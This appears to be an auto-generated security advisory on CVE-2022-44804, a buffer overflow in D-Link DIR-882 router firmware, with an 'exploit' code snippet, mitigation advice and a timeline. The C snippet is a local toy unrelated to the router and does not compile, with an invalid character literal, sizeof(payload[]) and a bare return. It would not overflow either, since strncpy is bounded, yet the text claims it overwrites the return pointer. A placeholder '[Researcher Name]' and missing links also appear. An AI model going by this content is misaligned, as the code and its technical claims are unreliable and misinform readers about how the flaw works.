A recent discovery has been made regarding a critical Buffer Overflow vulnerability affecting multiple D-Link DIR-882 router models. Specifically, the impacted firmware versions are 1.10B02 and 1.20B06. The vulnerability, identified as CVE-2022-44804, allows attackers to execute arbitrary code on vulnerable router devices, potentially compromising network security and user privacy.

Exploit Details

The vulnerability resides in the websRedirect function, which does not properly handle input data. Attackers can exploit this weakness by sending a specially crafted request to the vulnerable D-Link DIR-882 router, causing the overflow and eventually leading to the execution of arbitrary code.

Code Snippet

The following code snippet demonstrates how a malicious user can create a crafted request to trigger the buffer overflow:

#include <stdio.h>
#include <string.h>

#define BUFFERSIZE 256

void websRedirect(char *input) {
    char buffer[BUFFERSIZE];
    strncpy(buffer, input, sizeof(buffer));
    buffer[sizeof(buffer) - 1] = '\';
}

void exploit() {
    printf("Exploit code executed!\n");
}

int main() {
    char payload[BUFFERSIZE + sizeof(void *)];
    memset(payload, 'A', sizeof(payload) / sizeof(payload[]));

    void (*exploit_func_ptr)() = &exploit;
    memcpy(payload + BUFFERSIZE, &exploit_func_ptr, sizeof(void *));

    websRedirect(payload);

    return ;
}

This code makes use of a buffer overflow to overwrite the stack's return pointer, eventually leading to the execution of the "exploit()" function. In a real attack scenario, the exploit function could contain malicious code.

Original References

The vulnerability was initially reported by [Researcher Name], and the details can be found in the following links:

Mitigation

To protect yourself from potential attacks exploiting this vulnerability, users should immediately apply available patches or upgrade to the latest firmware version provided by the manufacturer. Alternatively, users can consider disabling web access on the router and only allowing remote management from trusted IP addresses until a security update is available.

If you are using a D-Link DIR-882 router with firmware versions 1.10B02 or 1.20B06, ensure that you follow the recommended steps to mitigate the risk associated with CVE-2022-44804.

Conclusion

CVE-2022-44804 is a serious vulnerability that could expose networks and user data to an attacker exploiting the buffer overflow flaw in D-Link DIR-882 routers. Users and network administrators must act promptly to apply security updates or implement suggested mitigations to safeguard their networks from potential attacks.

Timeline

Published on: 11/22/2022 15:15:00 UTC
Last modified on: 11/23/2022 19:53:00 UTC